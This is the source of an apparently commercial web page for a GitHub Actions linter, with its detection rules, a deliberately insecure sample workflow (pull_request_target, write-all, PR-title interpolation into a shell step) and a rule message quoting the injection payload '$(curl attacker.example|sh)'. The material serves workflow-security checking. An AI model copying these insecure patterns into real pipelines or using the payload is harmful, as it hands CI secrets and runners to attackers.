File size: 38,221 Bytes
64e0e10 d29de4b 64e0e10 1bf4889 64e0e10 d29de4b 64e0e10 d29de4b 64e0e10 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | <!doctype html><html lang="en"><meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>GitHub Actions Break-Date Audit</title>
<meta name="description" content="Names the date each line in your workflow stops working - Node 20 leaves the runner on 23 September 2026 and ubuntu-22.04 begins its brownouts on 17 September 2026 - and the exact version to move to.">
<style>
:root{color-scheme:light dark}
body{margin:0;font:16px/1.6 system-ui,-apple-system,"Segoe UI",sans-serif;
background:#fbfbfa;color:#16161d}
@media(prefers-color-scheme:dark){body{background:#14141a;color:#e8e8ea}}
.wrap{max-width:880px;margin:0 auto;padding:28px 20px 64px}
h1{font-size:1.7rem;line-height:1.25;margin:.2em 0 .3em}
p.sub{margin:0 0 1.4em;opacity:.8}
textarea{width:100%;min-height:230px;font:13px/1.5 ui-monospace,Menlo,Consolas,monospace;
padding:12px;border:1px solid #c9c9d1;border-radius:10px;background:transparent;color:inherit;
box-sizing:border-box}
button{font:600 15px/1 inherit;padding:12px 22px;border:0;border-radius:10px;
background:#1d4ed8;color:#fff;cursor:pointer;margin:12px 0}
button:hover{background:#1a43bd}
table{border-collapse:collapse;width:100%;margin-top:14px;font-size:14px}
th,td{border-bottom:1px solid #d8d8e0;padding:8px 6px;text-align:left;vertical-align:top}
th{font-weight:600;opacity:.75}
td.n{width:64px;font:13px ui-monospace,monospace;opacity:.7}
.ok{padding:14px;border-radius:10px;background:#e8f5ec;color:#14532d;margin-top:14px}
@media(prefers-color-scheme:dark){.ok{background:#15321f;color:#bbf7d0}}
.next{margin-top:30px;padding:18px;border:1px solid #d8d8e0;border-radius:12px}
.next h2{font-size:1.05rem;margin:0 0 .5em}
.next ul{margin:.3em 0 1em 1.1em;padding:0}
</style>
<div class="wrap">
<h1>GitHub Actions Break-Date Audit</h1>
<p class="sub">Names the date each line in your workflow stops working - Node 20 leaves the runner on 23 September 2026 and ubuntu-22.04 begins its brownouts on 17 September 2026 - and the exact version to move to.</p>
<textarea id="src" placeholder="Paste a workflow or action.yml here">name: release
on:
pull_request_target:
branches: [main]
permissions: write-all
jobs:
build:
runs-on: ubuntu-22.04
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v4
- uses: actions/cache@v4
- run: npm ci && npm test -- --grep "${{ github.event.pull_request.title }}"
- uses: actions/upload-artifact@v5
- uses: actions/download-artifact@v6
- uses: tj-actions/changed-files@v45</textarea>
<button id="go">Find the break dates</button>
<div id="out"></div>
<div class="next"><h2>In the full version</h2><ul><li>Scan every workflow in the repository at once</li><li>Export the dated audit as CSV, JSON or HTML</li><li>CI JSON so a build fails before the date arrives</li><li>Re-check on every save</li><li><a href="https://getreadystack.com">Get the full version - $29</a></li></ul></div>
</div>
<script>
var RULES=[{"pattern": "uses:\\s*actions/checkout@v[1-4](?:[.\\s\"\\'#]|$)", "flags": "", "message": "actions/checkout at this major runs on Node 20 (v3 and older run on Node 16). Node 20 is removed from GitHub-hosted runners on 2026-09-23; actions still declaring node20 stop starting on that date. Measured 2026-09-10: v5 is the first major of this action that declares node24, and v7 is the current major.", "fix": "actions/checkout@v7", "sev": "error"}, {"pattern": "uses:\\s*actions/setup-node@v[1-4](?:[.\\s\"\\'#]|$)", "flags": "", "message": "actions/setup-node at this major runs on Node 20 (v3 and older run on Node 16). Node 20 is removed from GitHub-hosted runners on 2026-09-23; actions still declaring node20 stop starting on that date. Measured 2026-09-10: v5 is the first major of this action that declares node24, and v7 is the current major.", "fix": "actions/setup-node@v7", "sev": "error"}, {"pattern": "uses:\\s*actions/setup-python@v[1-5](?:[.\\s\"\\'#]|$)", "flags": "", "message": "actions/setup-python at this major runs on Node 20 (v4 and older run on Node 16). Node 20 is removed from GitHub-hosted runners on 2026-09-23; actions still declaring node20 stop starting on that date. Measured 2026-09-10: v6 is the first major of this action that declares node24, and v7 is the current major.", "fix": "actions/setup-python@v7", "sev": "error"}, {"pattern": "uses:\\s*actions/cache@v[3-4](?:[.\\s\"\\'#]|$)", "flags": "", "message": "actions/cache at this major runs on Node 20 (v3 runs on Node 16). Node 20 is removed from GitHub-hosted runners on 2026-09-23; actions still declaring node20 stop starting on that date. Measured 2026-09-10: v5 is the first major of this action that declares node24, and v6 is the current major.", "fix": "actions/cache@v6", "sev": "error"}, {"pattern": "uses:\\s*actions/upload-artifact@v[4-5](?:[.\\s\"\\'#]|$)", "flags": "", "message": "actions/upload-artifact at this major runs on Node 20 (v5 is still Node 20, unlike most actions). Node 20 is removed from GitHub-hosted runners on 2026-09-23; actions still declaring node20 stop starting on that date. Measured 2026-09-10: v6 is the first major of this action that declares node24, and v7 is the current major.", "fix": "actions/upload-artifact@v7", "sev": "error"}, {"pattern": "uses:\\s*actions/download-artifact@v[4-6](?:[.\\s\"\\'#]|$)", "flags": "", "message": "actions/download-artifact at this major runs on Node 20 (v6 is still Node 20 — this one lags a major behind upload-artifact). Node 20 is removed from GitHub-hosted runners on 2026-09-23; actions still declaring node20 stop starting on that date. Measured 2026-09-10: v7 is the first major of this action that declares node24, and v8 is the current major.", "fix": "actions/download-artifact@v8", "sev": "error"}, {"pattern": "uses:\\s*actions/github-script@v7(?:[.\\s\"\\'#]|$)", "flags": "", "message": "actions/github-script at this major runs on Node 20 (v6 and older run on Node 16). Node 20 is removed from GitHub-hosted runners on 2026-09-23; actions still declaring node20 stop starting on that date. Measured 2026-09-10: v8 is the first major of this action that declares node24, and v9 is the current major.", "fix": "actions/github-script@v9", "sev": "error"}, {"pattern": "uses:\\s*actions/setup-java@v[1-4](?:[.\\s\"\\'#]|$)", "flags": "", "message": "actions/setup-java at this major runs on Node 20 (v3 and older run on Node 16). Node 20 is removed from GitHub-hosted runners on 2026-09-23; actions still declaring node20 stop starting on that date. Measured 2026-09-10: v5 is the first major of this action that declares node24, and v6 is the current major.", "fix": "actions/setup-java@v6", "sev": "error"}, {"pattern": "uses:\\s*actions/setup-go@v[1-5](?:[.\\s\"\\'#]|$)", "flags": "", "message": "actions/setup-go at this major runs on Node 20 (v4 and older run on Node 16). Node 20 is removed from GitHub-hosted runners on 2026-09-23; actions still declaring node20 stop starting on that date. Measured 2026-09-10: v6 is the first major of this action that declares node24, and v7 is the current major.", "fix": "actions/setup-go@v7", "sev": "error"}, {"pattern": "uses:\\s*actions/setup-dotnet@v[1-4](?:[.\\s\"\\'#]|$)", "flags": "", "message": "actions/setup-dotnet at this major runs on Node 20 (v3 and older run on Node 16). Node 20 is removed from GitHub-hosted runners on 2026-09-23; actions still declaring node20 stop starting on that date. Measured 2026-09-10: v5 is the first major of this action that declares node24, and v6 is the current major.", "fix": "actions/setup-dotnet@v6", "sev": "error"}, {"pattern": "^\\s*using:\\s*[\\'\"]?node20[\\'\"]?\\s*$", "flags": "i", "message": "This action declares runs.using: 'node20'. Runners began defaulting to Node 24 on 2026-06-16 and node 20 is removed from GitHub-hosted runners on 2026-09-23; actions still declaring node20 stop starting on that date.", "fix": "using: 'node24'", "sev": "error"}, {"pattern": "^\\s*using:\\s*[\\'\"]?node(?:12|16)[\\'\"]?\\s*$", "flags": "i", "message": "This action declares runs.using: 'node16' or 'node12'. Both runtimes were already removed from GitHub-hosted runners, so the action cannot start at all.", "fix": "using: 'node24'", "sev": "error"}, {"pattern": "ACTIONS_ALLOW_USE_UNSECURE_NODE_VERSION", "flags": "", "message": "This is the temporary escape hatch that forces an action back onto Node 20. It stops working when Node 20 is removed from the runner on 2026-09-23, so it buys time, not a fix.", "fix": "Move the action to node24 and delete this variable", "sev": "warn"}, {"pattern": "uses:\\s*actions/upload-artifact@v[1-3](?:[.\\s\"\\'#]|$)", "flags": "", "message": "actions/upload-artifact v1-v3 stopped working on 2025-01-30. The artifact backend no longer accepts these versions, so the step fails immediately.", "fix": "actions/upload-artifact@v7", "sev": "error"}, {"pattern": "uses:\\s*actions/download-artifact@v[1-3](?:[.\\s\"\\'#]|$)", "flags": "", "message": "actions/download-artifact v1-v3 stopped working on 2025-01-30 together with the v3 upload backend. The step fails immediately.", "fix": "actions/download-artifact@v8", "sev": "error"}, {"pattern": "uses:\\s*actions/cache@v[1-2](?:[.\\s\"\\'#]|$)", "flags": "", "message": "actions/cache v1-v2 were closed down on 2025-02-01 and fully retired on 2025-03-01. Workflows that still call them fail.", "fix": "actions/cache@v6", "sev": "error"}, {"pattern": "\\bubuntu-22\\.04(?:-arm)?\\b", "flags": "", "message": "The ubuntu-22.04 runner image begins deprecation on 2026-09-17 and is fully unsupported on 2027-04-17. During the deprecation window GitHub runs 24-hour brownouts, and a job scheduled inside one is terminated with an error.", "fix": "ubuntu-24.04, ubuntu-26.04, or ubuntu-latest (arm: ubuntu-24.04-arm)", "sev": "error"}, {"pattern": "\\bubuntu-(?:20\\.04|18\\.04|16\\.04)\\b", "flags": "", "message": "The ubuntu-20.04 runner image was fully unsupported from 2025-04-15 (18.04 and 16.04 earlier still). A job requesting this label fails to find a runner.", "fix": "ubuntu-24.04", "sev": "error"}, {"pattern": "\\bwindows-(?:2016|2019)\\b", "flags": "", "message": "The windows-2019 runner image was retired on 2025-06-30. A job requesting this label fails to find a runner.", "fix": "windows-2022 or windows-2025", "sev": "error"}, {"pattern": "\\bmacos-1[0-3](?:-[a-z0-9]+)?\\b", "flags": "", "message": "The macOS 13 runner image was fully unsupported from 2025-12-04 (macOS 12 and older earlier still). A job requesting this label fails to find a runner.", "fix": "macos-15 or macos-latest", "sev": "error"}, {"pattern": "\\bmacos-latest\\b", "flags": "", "message": "macos-latest no longer means macOS 15. The label migration began 2026-06-15 and took 30 days, so it now points at the macOS 26 image, with a different Xcode set.", "fix": "macos-15 if you need the previous image; macos-latest is fine if you do not", "sev": "warn"}, {"pattern": "\\bwindows-(?:latest|2025)\\b", "flags": "", "message": "windows-latest and windows-2025 were migrated to Visual Studio 2026 by default between 2026-06-08 and 2026-06-15. A build that assumes the VS 2022 toolset can fail with no change to your code.", "fix": "windows-2022 if you need Visual Studio 2022", "sev": "warn"}, {"pattern": "echo\\s+[\"\\']?::(?:set-env|add-path)\\b", "flags": "", "message": "The ::set-env and ::add-path workflow commands were disabled on 2020-11-16 for a security fix. They are ignored, so the variable or path is silently never set.", "fix": "echo \"NAME=value\" >> \"$GITHUB_ENV\" / echo \"/path\" >> \"$GITHUB_PATH\"", "sev": "error"}, {"pattern": "::set-output\\b", "flags": "", "message": "::set-output was deprecated on 2022-10-11 and is slated for removal. It already prints a warning annotation on every run.", "fix": "echo \"name=value\" >> \"$GITHUB_OUTPUT\"", "sev": "warn"}, {"pattern": "::save-state\\b", "flags": "", "message": "::save-state was deprecated on 2022-10-11 alongside ::set-output and is slated for removal.", "fix": "echo \"name=value\" >> \"$GITHUB_STATE\"", "sev": "warn"}, {"pattern": "^\\s*(?:-\\s*)?pull_request_target\\s*:?\\s*$", "flags": "", "message": "pull_request_target runs in the context of the base repository: a read/write GITHUB_TOKEN and every secret are available, while the pull request itself comes from a stranger.", "fix": "pull_request, unless you specifically need the base-repo token", "sev": "warn"}, {"pattern": "ref:\\s*\\$\\{\\{\\s*github\\.event\\.pull_request\\.head\\.(?:sha|ref)", "flags": "", "message": "This checks out the pull request author's code. Under pull_request_target or workflow_run that untrusted code then runs in a job that holds your secrets.", "fix": "Omit ref: so the base commit is checked out, or move the build to a pull_request job", "sev": "error"}, {"pattern": "\\$\\{\\{\\s*github\\.event\\.[a-zA-Z_.]*(?:title|body|message|label|login|name)\\s*\\}\\}", "flags": "", "message": "Attacker-controlled text is interpolated straight into the workflow. Inside a run: block a pull request titled $(curl attacker.example|sh) executes on your runner as written.", "fix": "Pass it via env: and reference \"$VAR\" in the shell, quoted", "sev": "error"}, {"pattern": "\\$\\{\\{\\s*github\\.head_ref\\s*\\}\\}", "flags": "", "message": "A branch name is attacker-controlled and may contain shell metacharacters. Used inside a run: block it is the same injection as a pull request title.", "fix": "Pass it via env: and reference \"$VAR\" in the shell, quoted", "sev": "warn"}, {"pattern": "permissions:\\s*write-all\\b", "flags": "", "message": "write-all grants every scope of the GITHUB_TOKEN to every step in scope, including any third-party action that runs there.", "fix": "permissions: contents: read (then add only the scopes a job needs)", "sev": "error"}, {"pattern": "secrets:\\s*inherit\\b", "flags": "", "message": "secrets: inherit hands the called workflow every secret in the repository, not the two or three it actually uses.", "fix": "secrets: {NPM_TOKEN: ${{ secrets.NPM_TOKEN }}} — list them", "sev": "warn"}, {"pattern": "run:.*\\$\\{\\{\\s*secrets\\.", "flags": "", "message": "A secret interpolated directly into a shell command line. It is visible in the process arguments on the runner and survives in shell traces and crash dumps.", "fix": "env: with the secret, then reference \"$VAR\" in the command", "sev": "warn"}, {"pattern": "persist-credentials:\\s*true\\b", "flags": "", "message": "The checkout token is written into .git/config and stays there for the rest of the job, where any later step or action can read it.", "fix": "persist-credentials: false unless a later step really pushes", "sev": "warn"}, {"pattern": "uses:\\s*(?!actions/|github/)[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+@(?:main|master)\\b", "flags": "", "message": "This action is pinned to a branch. Whatever lands on that branch runs in your pipeline with your token, with no change to your own code.", "fix": "owner/repo@<40-character commit sha>", "sev": "error"}, {"pattern": "uses:\\s*(?!actions/|github/)[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+@(?!v?[0-9a-f]{40}\\b)[^\\s\"\\']+", "flags": "", "message": "A third-party action pinned to a tag, not a commit. Tags can be repointed: in March 2025 tj-actions/changed-files had its tags moved to code that printed runner secrets into public build logs (CVE-2025-30066).", "fix": "owner/repo@<40-character commit sha> # v4.2.1", "sev": "warn"}];
function scan(t){var L=String(t).split(/\r?\n/),h=[],i,r,re;
for(i=0;i<L.length;i++){for(var k=0;k<RULES.length;k++){r=RULES[k];
try{re=new RegExp(r.pattern,r.flags||'')}catch(e){continue}
if(re.test(L[i]))h.push({line:i+1,msg:r.message})}}
return h}
document.getElementById('go').onclick=function(){
var t=document.getElementById('src').value,o=document.getElementById('out');
if(!t.trim()){o.innerHTML='';return}
var h=scan(t);
if(!h.length){o.innerHTML='<div class="ok">Nothing dated found here. Every action version, runner label and trigger in this file is still supported.</div>';return}
var s='<table><tr><th>Line</th><th>Finding</th></tr>';
for(var i=0;i<h.length;i++){s+='<tr><td class="n">'+h[i].line+'</td><td>'+
String(h[i].msg).replace(/&/g,'&').replace(/</g,'<')+'</td></tr>'}
o.innerHTML=s+'</table>'};
document.getElementById('go').click();
</script>
</html>
<section data-yj-install="free" style="margin:2rem auto 1rem;max-width:46rem;padding:1.25rem 1.25rem;border:1px solid #cfe3d6;border-radius:12px;background:#f6fbf8;font:16px/1.6 system-ui,-apple-system,Segoe UI,sans-serif"><h2 style="margin:0 0 .4rem;font-size:1.2rem">Install free</h2><p style="margin:0 0 .8rem;color:#41505f">Free for the file open in your editor - no key, no limit. The workspace sweep and the report ask for a key.</p><a href="https://www.npmjs.com/package/@readystack/workflow-break-date-audit" rel="noopener" data-yj-install-door="npm" onclick="try{navigator.sendBeacon('/api/ev',new Blob([JSON.stringify({t:'install',slug:'workflow-break-date-audit',src:'npm',path:location.pathname})],{type:'application/json'}))}catch(e){}" style="display:inline-block;margin:0 .5rem .5rem 0;padding:.6rem 1rem;border-radius:8px;background:#0f7b3f;color:#fff;text-decoration:none;font-weight:600">npm</a><a href="https://hub.docker.com/r/getreadystack/workflow-break-date-audit" rel="noopener" data-yj-install-door="docker" onclick="try{navigator.sendBeacon('/api/ev',new Blob([JSON.stringify({t:'install',slug:'workflow-break-date-audit',src:'docker',path:location.pathname})],{type:'application/json'}))}catch(e){}" style="display:inline-block;margin:0 .5rem .5rem 0;padding:.6rem 1rem;border-radius:8px;background:#0f7b3f;color:#fff;text-decoration:none;font-weight:600">Docker Hub</a><pre style="margin:.5rem 0 0;padding:.6rem .8rem;background:#f3f5f8;border-radius:8px;font-size:.9rem;overflow:auto">npx @readystack/workflow-break-date-audit <file>
docker run --rm -v "$PWD:/w" getreadystack/workflow-break-date-audit /w</pre><p style="margin:.6rem 0 0;font-size:.92rem;color:#41505f"><a href="https://getreadystack.com/api/buy/cl/polar_cl_l6iN1uWt0FwWu7tBsczD0jWpP2vxFM54Wdwqb3KPi1G" rel="nofollow" style="color:#0f7b3f;text-decoration:underline">Team? One key for every ReadyStack linter, 5 seats, $149 once</a></p></section>
<section data-yj-alert="rule" style="margin:1rem auto 1.5rem;max-width:46rem;padding:1.1rem 1.25rem;border:1px solid #d9dee6;border-radius:12px;background:#fbfcfd;font:15px/1.55 system-ui,-apple-system,Segoe UI,sans-serif"><b style="font-size:1.05rem">Get one email when this rule changes</b><div style="opacity:.78;margin:.35rem 0 .8rem">We watch the regulation and vendor sources behind GitHub Actions Break-Date Audit every day. When a rule changes, you get a single email with what changed and the updated check. No newsletter.</div><div style="display:flex;gap:8px;flex-wrap:wrap"><input id="yjae" type="email" placeholder="you@example.com" style="flex:1;min-width:210px;padding:11px 13px;border:1px solid rgba(140,150,165,.34);border-radius:8px;background:#fff;color:inherit"><button id="yjab" style="padding:11px 18px;border-radius:8px;border:0;cursor:pointer;background:#0f7b3f;color:#fff;font:600 15px system-ui,sans-serif">Notify me</button></div><div id="yjao" hidden style="margin-top:.6rem;color:#0f7b3f">You're on the list. One email when it changes.</div><script>(function(){var b=document.getElementById("yjab"),e=document.getElementById("yjae");if(!b||!e)return;b.addEventListener("click",function(){var v=e.value.trim();if(!/.+@.+\..+/.test(v))return;try{localStorage.setItem("yj_em","1");}catch(_){}fetch(location.origin+"/api/subscribe",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({email:v,slug:"workflow-break-date-audit",lang:"en",source:"rule_alert"+((b.closest&&b.closest("section")&&b.closest("section").getAttribute("data-yj-moved"))?"_at_result":"")})}).then(function(r){var o=document.getElementById("yjao");o.hidden=false;if(!r.ok){o.textContent="Could not save - please try again.";}}).catch(function(){var o=document.getElementById("yjao");o.hidden=false;o.textContent="Could not save - please try again.";});});})();</script><script>(function(){var e=document.getElementById("yjae"),s=e&&e.closest?e.closest("section"):null,o=document.getElementById("out");if(!s||!o)return;var d=false;function mv(ev){if(d)return;if(ev&&ev.target&&s.contains(ev.target))return;d=true;var b=o;while(b.parentNode&&b.parentNode!==document.body&&b.parentNode.tagName!=="MAIN"&&b.parentNode.tagName!=="ARTICLE")b=b.parentNode;if(!b.parentNode||b===s||b.contains(s))return;try{b.parentNode.insertBefore(s,b.nextSibling);s.setAttribute("data-yj-moved","1");}catch(_){}}document.addEventListener("input",mv,true);document.addEventListener("change",mv,true);})();</script></section>
<section data-yj-cta="paid" style="margin:3rem auto;max-width:46rem;padding:1.5rem 1.25rem;border:1px solid #d8dee9;border-radius:12px;background:#fbfcfe;font:16px/1.6 system-ui,-apple-system,Segoe UI,sans-serif"><h2 style="margin:0 0 .5rem;font-size:1.25rem">Get the complete version <span class="yj-price">$29</span></h2><p style="margin:.25rem 0 1rem;color:#41505f">This page is the working piece. The full pack has everything below.</p><p style="margin:0 0 1rem;color:#41505f">Names the date each line in your workflow stops working - Node 20 leaves the runner on 23 September 2026 - and the exact version to move to.</p><p style="margin:0 0 1rem;color:#5b6b7c;font-size:.94rem">A US DevOps engineer averages $59.11/hour (ZipRecruiter, 7 September 2026). This is about 29 minutes of that, once.</p><a href="https://getreadystack.com/api/buy/cl/polar_cl_IRIM55duZnXhnBKcaSt0lxXKfo7qDs2TijKjG31kMtF" rel="nofollow" style="display:inline-block;padding:.7rem 1.3rem;border-radius:8px;background:#1b64f2;color:#fff;text-decoration:none;font-weight:600">Buy the full version — $29</a></section>
<section data-yj="yj-facts-v1" style="max-width:920px;margin:48px auto 0;padding:0 20px;font-family:system-ui,sans-serif"><style>.yj-article p{font:400 15.5px/1.7 system-ui,sans-serif;color:#26313b;margin:0 0 12px;max-width:72ch}.yj-article h2,.yj-article h3,.yj-article h4{font:600 17px/1.35 system-ui,sans-serif;color:#1b1f24;margin:22px 0 8px}.yj-article table{border-collapse:collapse;margin:10px 0 16px;font:14px/1.45 system-ui,sans-serif}.yj-article th,.yj-article td{border:1px solid #e2e6ea;padding:6px 10px;text-align:left}.yj-article th{background:#f4f6f8}.yj-article pre{background:#0f1720;color:#e6edf3;padding:12px 14px;border-radius:8px;overflow:auto;font:13px/1.5 ui-monospace,Menlo,monospace}.yj-article code{font:13px ui-monospace,Menlo,monospace;background:#f1f3f5;padding:1px 4px;border-radius:3px}.yj-article pre code{background:none;padding:0}.yj-article ul,.yj-article ol{font:15px/1.6 system-ui,sans-serif;color:#26313b}</style><h2 style="font:600 21px/1.3 system-ui,sans-serif;margin:34px 0 6px;color:#1b1f24">Questions people ask</h2><details style="border-bottom:1px solid #e6e9ed;padding:10px 0"><summary style="cursor:pointer;font:600 15px/1.4 system-ui,sans-serif;color:#1b1f24">What does Workflow Break-Date Audit actually do?</summary><p style="margin:8px 0 2px;font:400 14.5px/1.6 system-ui,sans-serif;color:#33404b">It reads a GitHub Actions workflow or an action.yml and flags every line that has a published break date. Each finding names the date itself, why the line stops working, and the exact version or label to move to. It also flags triggers and permissions that expose your secrets to code from a fork.</p></details><details style="border-bottom:1px solid #e6e9ed;padding:10px 0"><summary style="cursor:pointer;font:600 15px/1.4 system-ui,sans-serif;color:#1b1f24">Who is this for?</summary><p style="margin:8px 0 2px;font:400 14.5px/1.6 system-ui,sans-serif;color:#33404b">Developers and platform engineers who own the .github/workflows files that ship their releases, and reviewers of workflows an AI assistant produced. Training data is older than the deprecation calendar, so generated workflows arrive with retired runner labels and action majors that already stopped starting.</p></details><details style="border-bottom:1px solid #e6e9ed;padding:10px 0"><summary style="cursor:pointer;font:600 15px/1.4 system-ui,sans-serif;color:#1b1f24">Why not just use actionlint or Dependabot?</summary><p style="margin:8px 0 2px;font:400 14.5px/1.6 system-ui,sans-serif;color:#33404b">actionlint checks syntax, expressions and shell, and Dependabot bumps versions if you configured it. Neither carries a calendar. Neither tells you that download-artifact is only safe from v7 while upload-artifact is safe from v6 and checkout from v5, or that the ubuntu-22.04 brownouts begin on 17 September 2026.</p></details><details style="border-bottom:1px solid #e6e9ed;padding:10px 0"><summary style="cursor:pointer;font:600 15px/1.4 system-ui,sans-serif;color:#1b1f24">What is free and what needs a licence?</summary><p style="margin:8px 0 2px;font:400 14.5px/1.6 system-ui,sans-serif;color:#33404b">The free tier checks the open file, or only the lines you select, against all 35 rules. No key, no watermark, no usage cap, and no finding is hidden. The licence covers a different job: scanning every workflow in the repository at once, exporting the dated audit, CI output and re-checking on save.</p></details><details style="border-bottom:1px solid #e6e9ed;padding:10px 0"><summary style="cursor:pointer;font:600 15px/1.4 system-ui,sans-serif;color:#1b1f24">What would this cost me otherwise?</summary><p style="margin:8px 0 2px;font:400 14.5px/1.6 system-ui,sans-serif;color:#33404b">A US DevOps engineer averages $59.11 an hour (ZipRecruiter, 7 September 2026). Auditing one repository by hand means opening every workflow and checking each action against its own release notes to find where node24 begins. This is $29 once, one licence key per person or team seat.</p></details><script type="application/ld+json" data-yj="yj-faq-ld">{"@context": "https://schema.org", "@type": "FAQPage", "mainEntity": [{"@type": "Question", "name": "What does Workflow Break-Date Audit actually do?", "acceptedAnswer": {"@type": "Answer", "text": "It reads a GitHub Actions workflow or an action.yml and flags every line that has a published break date. Each finding names the date itself, why the line stops working, and the exact version or label to move to. It also flags triggers and permissions that expose your secrets to code from a fork."}}, {"@type": "Question", "name": "Who is this for?", "acceptedAnswer": {"@type": "Answer", "text": "Developers and platform engineers who own the .github/workflows files that ship their releases, and reviewers of workflows an AI assistant produced. Training data is older than the deprecation calendar, so generated workflows arrive with retired runner labels and action majors that already stopped starting."}}, {"@type": "Question", "name": "Why not just use actionlint or Dependabot?", "acceptedAnswer": {"@type": "Answer", "text": "actionlint checks syntax, expressions and shell, and Dependabot bumps versions if you configured it. Neither carries a calendar. Neither tells you that download-artifact is only safe from v7 while upload-artifact is safe from v6 and checkout from v5, or that the ubuntu-22.04 brownouts begin on 17 September 2026."}}, {"@type": "Question", "name": "What is free and what needs a licence?", "acceptedAnswer": {"@type": "Answer", "text": "The free tier checks the open file, or only the lines you select, against all 35 rules. No key, no watermark, no usage cap, and no finding is hidden. The licence covers a different job: scanning every workflow in the repository at once, exporting the dated audit, CI output and re-checking on save."}}, {"@type": "Question", "name": "What would this cost me otherwise?", "acceptedAnswer": {"@type": "Answer", "text": "A US DevOps engineer averages $59.11 an hour (ZipRecruiter, 7 September 2026). Auditing one repository by hand means opening every workflow and checking each action against its own release notes to find where node24 begins. This is $29 once, one licence key per person or team seat."}}]}</script><div id="yj-ask" style="margin:36px 0 0;padding:18px 18px 16px;border:1px solid #e2e6ea;border-radius:10px;background:#fbfbfc"><h2 style="font:600 19px/1.3 system-ui,sans-serif;margin:0 0 4px;color:#1b1f24">Ask about this tool</h2><p style="font:400 13.5px/1.5 system-ui,sans-serif;margin:0 0 12px;color:#5b6570">One question, answered by the person who built it. Your email only if you want the answer sent.</p><form onsubmit="return yjAsk(event)" style="display:grid;gap:8px"><textarea name="question" required minlength="10" maxlength="2000" rows="3" placeholder="Your question" style="font:14px/1.5 system-ui,sans-serif;padding:10px;border:1px solid #cfd6dd;border-radius:6px"></textarea><div style="display:flex;gap:8px;flex-wrap:wrap"><input type="email" name="email" placeholder="Email (optional)" style="flex:1;min-width:200px;font:14px system-ui,sans-serif;padding:9px 10px;border:1px solid #cfd6dd;border-radius:6px"><button type="submit" style="font:600 14px system-ui,sans-serif;padding:9px 18px;border:0;border-radius:6px;background:#1b1f24;color:#fff;cursor:pointer">Send</button></div><p id="yj-ask-msg" style="font:13px system-ui,sans-serif;margin:2px 0 0;color:#0a6238;min-height:1em"></p></form><script>function yjAsk(e){e.preventDefault();var f=e.target,m=document.getElementById("yj-ask-msg");m.style.color="#0a6238";fetch(location.origin+"/api/ask",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({sku:0,slug:"workflow-break-date-audit",lang:"en",question:f.question.value,email:f.email.value,page:location.pathname})}).then(function(r){if(!r.ok)throw 0;m.textContent="Thanks \u2014 noted. Answers land on this page and, if you left an email, in your inbox.";f.question.value="";}).catch(function(){m.style.color="#a8551f";m.textContent="Could not send. Please try again in a minute.";});return false;}</script></div></section><section class="yj-related" style="max-width:920px;margin:56px auto 40px;padding:0 20px"><h2 style="font:600 21px/1.3 system-ui,sans-serif;margin:0 0 6px;color:#1b1f24">Same job, next tool</h2><p style="font:400 14.5px/1.5 system-ui,sans-serif;margin:0 0 20px;color:#5b6570">Free in the browser. The full version is a one-time licence.</p><div style="display:grid;grid-template-columns:repeat(auto-fill,minmax(250px,1fr));gap:14px"><a class="yj-rel-c" href="https://getreadystack.com/tools/actions-deprecation-lint-2026"><span class="yj-rel-t">GitHub Actions Deprecation Lint: the 2026 runner and action EOL dates</span><span class="yj-rel-p">$29</span></a><a class="yj-rel-c" href="https://getreadystack.com/tools/workflow-expiry-check"><span class="yj-rel-t">Workflow Expiry - dated GitHub Actions breakage</span><span class="yj-rel-p">$29</span></a><a class="yj-rel-c" href="https://getreadystack.com/tools/cron-schedule-lint"><span class="yj-rel-t">Cron Schedule Lint for crontab, Kubernetes CronJob, GitHub Actions, Spring and</span><span class="yj-rel-p">$29</span></a><a class="yj-rel-c" href="https://getreadystack.com/tools/linker-map-auditor"><span class="yj-rel-t">Linker Map Auditor - FLASH & RAM budget for GNU ld map files</span><span class="yj-rel-p">$29</span></a><a class="yj-rel-c" href="https://getreadystack.com/en/p/build-6-procreate-lettering-brushes-that-feel-like-ink-the-e"><span class="yj-rel-t">Build 6 Procreate Lettering Brushes That Feel Like Ink — The Exact-Settings Wo</span><span class="yj-rel-p">$39</span></a><a class="yj-rel-c" href="https://getreadystack.com/tools/docker-image-for-development"><span class="yj-rel-t">Docker Image for Development — Node.js 22 + TypeScript Dev Container with Post</span><span class="yj-rel-p">$19</span></a></div><style>.yj-rel-c{display:flex;flex-direction:column;gap:8px;padding:15px 16px;border:1px solid #e2e6ea;border-radius:6px;text-decoration:none;background:#fff}.yj-rel-c:hover{border-color:#b9c2cb;background:#fafbfc}.yj-rel-t{font:500 14.5px/1.42 system-ui,sans-serif;color:#1b1f24}.yj-rel-p{font:600 13px system-ui,sans-serif;color:#0a6238}</style></section><!--yj-share-s101--><div style="margin:28px 0 8px;text-align:center"><button id="yjcp" type="button" style="font:inherit;padding:10px 18px;border:1px solid #8884;border-radius:10px;background:transparent;cursor:pointer">Copy link</button><button id="yjimg" type="button" style="font:inherit;padding:10px 18px;margin-left:8px;border:1px solid #8884;border-radius:10px;background:transparent;cursor:pointer">Save result as image</button></div><script>(function(){var b=document.getElementById("yjimg");if(!b)return;b.addEventListener("click",function(){var o=document.getElementById("out");var txt=(o&&(o.innerText||o.textContent)||"").trim();if(!txt){b.textContent="(no result yet)";setTimeout(function(){b.textContent="Save result as image";},1500);return;}var lines=txt.split(String.fromCharCode(10)).filter(function(x){return x.trim();}).slice(0,10);var W=1200,P=56,c=document.createElement("canvas");c.width=W;var lh=38,H=P*2+70+lines.length*lh+60;c.height=H;var x=c.getContext("2d");x.fillStyle="#1a1512";x.fillRect(0,0,W,H);x.fillStyle="#f3e9d2";x.font="600 34px system-ui,Segoe UI,Arial";var t=(document.title||"").split("|")[0].trim();x.fillText(t.slice(0,54),P,P+34);x.font="22px ui-monospace,Menlo,Consolas,monospace";x.fillStyle="#e8dcc4";for(var 